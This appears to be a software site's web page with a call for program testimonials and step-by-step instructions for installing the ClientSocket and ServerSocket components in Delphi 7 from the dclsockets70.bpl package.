If you would like to promote any of your programs on our "Testimonials" section of our site, please email queries@xpaperx.com with an explanation of what the program does, and a link for downloading. If you provide a suitable testimonial of paperX, we will host your file on our web server. Thank you.

UPDATES FOR DELPHI 7:

Delphi 7 does not come with the ClientSocket and ServerSocket components installed. Here is how to install these components in Delphi 7:

Firstly, if you are running two instances of Delphi, save your projects and close one down so you are left with just the one instance of Delphi open.

Click Component (on the title bar), and then "Install Packages..". This could take a few seconds to pop up a box titled "Project Options". Now click the Add button, and browse your drives for your \Bin directory. This will be wherever you have installed Delphi. Normally you would just have to go up one level to find it. If you installed Delphi as C:\Delphi7, the \Bin folder will be located at C:\Delphi7\Bin.

Inside the \Bin directory, you are looking for a file called: "dclsockets70.bpl". Select it and click Open. Now click OK. If you now go to your Internet tab of the Component Palette, you will see two new components, the ClientSocket and ServerSocket components.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK